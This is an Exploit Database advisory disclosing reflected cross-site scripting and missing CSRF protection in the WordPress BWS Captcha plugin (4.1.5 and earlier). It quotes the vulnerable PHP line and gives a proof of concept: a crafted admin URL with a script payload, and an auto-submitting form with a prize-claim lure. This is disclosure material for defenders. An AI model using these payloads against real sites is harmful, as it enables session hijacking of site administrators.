WordPress Plugin Best Web Soft Captcha 4.1.5 – Multiple Vulnerabilities

• Exploit Database
• 15 阅读

• 作者： Colette Chamberland
  日期： 2016-03-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39547/

• * Exploit Title: BWS Captcha Multiple Vulnerabilities
  * Discovery Date:12.03.2015
  * Public Disclosure Date:03.10.2016
  * Exploit Author: Colette Chamberland
  * Contact: colette@wordfence.com
  * Vendor Homepage: http://bestwebsoft.com/
  * Software Link: https://wordpress.org/plugins/captcha/
  * Version:<=4.1.5
  * Tested on: WordPress 4.2.x
  * Category: WordPress
  * CVE: Requested but none received
   
  Description
  ================================================================================
  Unsanitized input in whitelist.php:
  
  297: $message = __( 'Search results for', $this->textdomain ) . '&nbsp;:&nbsp;' . $_REQUEST['s'];
  
   
  PoC
  ================================================================================
  The variable can be passed in using a get as well as a post. An attacker
  could send unsuspecting authenticated admin a url crafted like such:
  
  http://wwww.victim.com/wp-admin/admin.php?page=captcha.php&action=whitelist&s=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
  
  or they can send a form (no CSRF token check)
  
  <form method="post" action="http://victim.com/wp-admin/admin.php?page=captcha.php&action=whitelist">
  <input type="hidden" name="s" value="<script>alert(1);</script>">
  <input type="submit" name="Search IP" value="Click here to claim your prize!">
  </form>
  
  and it would execute XSS as long as they were logged in to the site.